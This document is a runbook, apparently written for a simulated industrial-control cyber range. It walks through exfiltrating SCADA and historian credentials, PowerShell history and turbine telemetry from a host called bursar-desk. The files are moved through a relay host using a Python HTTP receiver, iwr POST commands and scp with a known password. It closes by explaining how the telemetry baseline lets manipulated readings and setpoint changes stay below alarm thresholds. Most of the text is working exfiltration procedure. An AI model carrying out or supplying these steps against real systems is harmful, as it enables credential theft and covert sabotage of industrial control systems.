Runbook: Exfiltration from bursar-desk¶
Situation¶
bursar-desk holds two things worth getting off the machine:
AppData\Roaming\UUPLOps\ops-access.conf: credentials for the historian (historian / Historian2015) and the SCADA console (admin / admin)reports\turbine_2024-0*.csv: three months of historian-pulled turbine telemetry, confirming which tags are live and what normal operating values look like
These are not just notes for the current session. Getting them to unseen-gate means the attacker has authenticated access to both operational zone services, documented and usable from the attack origin, regardless of whether the bursar-desk foothold survives.
The exfil problem¶
bursar-desk has two NICs: 10.10.1.20 (enterprise) and 10.10.2.100 (operational). Neither reaches the internet zone. unseen-gate is at 10.10.0.5, on a segment bursar-desk has no route to. A direct POST to 10.10.0.5:9999 fails silently.
The relay is wizzards-retreat. It is triple-homed:
Interface |
Address |
Zone |
|---|---|---|
eth1 |
10.10.0.10 |
internet |
eth2 |
10.10.1.3 |
enterprise |
eth3 |
10.10.2.3 |
operational |
It runs a real Linux shell (no facade). The attacker already holds an SSH session there from the entry chain. It can receive from bursar-desk on one NIC and forward to unseen-gate on another.
Route options¶
Two paths from bursar-desk to wizzards-retreat:
Path A: operational NIC
Step |
From |
To |
Segment |
|---|---|---|---|
1 |
bursar-desk (10.10.2.100) |
wizzards-retreat (10.10.2.3) |
operational |
2 |
wizzards-retreat (10.10.0.10) |
unseen-gate (10.10.0.5) |
internet |
bursar-desk and wizzards-retreat are on the same /24. Same segment, direct ARP reach, no routing hop. If the bursar-desk foothold was gained by pivoting from an operational-zone host, this is the natural path.
Path B: enterprise NIC
Step |
From |
To |
Segment |
|---|---|---|---|
1 |
bursar-desk (10.10.1.20) |
wizzards-retreat (10.10.1.3) |
enterprise |
2 |
wizzards-retreat (10.10.0.10) |
unseen-gate (10.10.0.5) |
internet |
One routing hop via ent-ops-fw. Viable if the attacker’s existing SSH chain runs through the enterprise path. Same two-step structure, different first-hop address.
Path A is used below. The only change for Path B is replacing 10.10.2.3 with 10.10.1.3 in
the listener and the iwr URI.
Path A: exfil via operational NIC¶
Step 1: start a receiver on wizzards-retreat¶
In the SSH session to wizzards-retreat, start a minimal HTTP server that saves POSTed
files to /tmp/loot/:
mkdir -p /tmp/loot
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class R(BaseHTTPRequestHandler):
def do_POST(self):
n = int(self.headers.get('Content-Length', 0))
name = self.path.strip('/')
open('/tmp/loot/' + name, 'wb').write(self.rfile.read(n))
self.send_response(200)
self.end_headers()
def log_message(self, *a): pass
HTTPServer(('10.10.2.3', 9999), R).serve_forever()
" &
The server binds to the operational NIC (10.10.2.3). It accepts each POST, names the file
from the URL path, and writes the body to /tmp/loot/. No authentication, no TLS: this
matches the threat model of an attacker who already owns the relay host.
Step 2: POST files from bursar-desk¶
From the bursar-desk facade shell:
iwr -Method POST -Uri http://10.10.2.3:9999/ops-access.conf -InFile AppData\Roaming\UUPLOps\ops-access.conf
iwr -Method POST -Uri http://10.10.2.3:9999/ConsoleHost_history.txt -InFile AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
iwr -Method POST -Uri http://10.10.2.3:9999/turbine_2024-01.csv -InFile reports\turbine_2024-01.csv
iwr -Method POST -Uri http://10.10.2.3:9999/turbine_2024-02.csv -InFile reports\turbine_2024-02.csv
iwr -Method POST -Uri http://10.10.2.3:9999/turbine_2024-03.csv -InFile reports\turbine_2024-03.csv
iwr -Method POST -InFile translates to curl -X POST --data-binary @file in the facade.
Each call exits 0. If a file path is wrong the POST body is empty; check sizes on receipt.
Step 3: confirm receipt on wizzards-retreat¶
Back in the wizzards-retreat session:
kill %1
ls -lh /tmp/loot/
Expected:
ops-access.conf ~200 bytes
ConsoleHost_history.txt ~400 bytes
turbine_2024-01.csv ~5 KB
turbine_2024-02.csv ~5 KB
turbine_2024-03.csv ~5 KB
A zero-byte file means the iwr path was wrong or the facade did not resolve it. Re-send
with the correct path.
Step 4: pull to unseen-gate¶
Both machines are on the internet segment (10.10.0.x). From the unseen-gate terminal, pull the loot over rincewind’s SSH session:
mkdir -p ~/loot
scp 'rincewind@10.10.0.10:/tmp/loot/*' ~/loot/
Password: wizzard. wizzards-retreat allows password authentication; the credential is already known from the entry chain.
If keeping the files at wizzards-retreat is sufficient for the session, skip this step. The credential set is usable from wizzards-retreat directly via its operational NIC.
What this enables¶
ops-access.conf carries credentials the attacker did not previously hold at the attack
origin:
historian / Historian2015: authenticated read access to the historian/reportendpoint. Querying it through wizzards-retreat (10.10.2.3 → 10.10.2.10) no longer requires bursar-desk to be alive.admin / admin: authenticated access to the distribution-SCADA console at 10.10.2.20:8080. Same path applies.
The turbine CSVs establish three months of baseline: normal RPM range, temperature, voltage, and current. This baseline is what makes a manipulated historian reading look plausible, or what tells the attacker which setpoint changes would stay inside normal operating bounds long enough to avoid an immediate alarm.
PSReadLine history confirms the historian endpoint format and the Base64 credential string the finance team was already using, which is useful as a cross-reference if the conf file is later rotated or the attacker needs a fresh source to cite.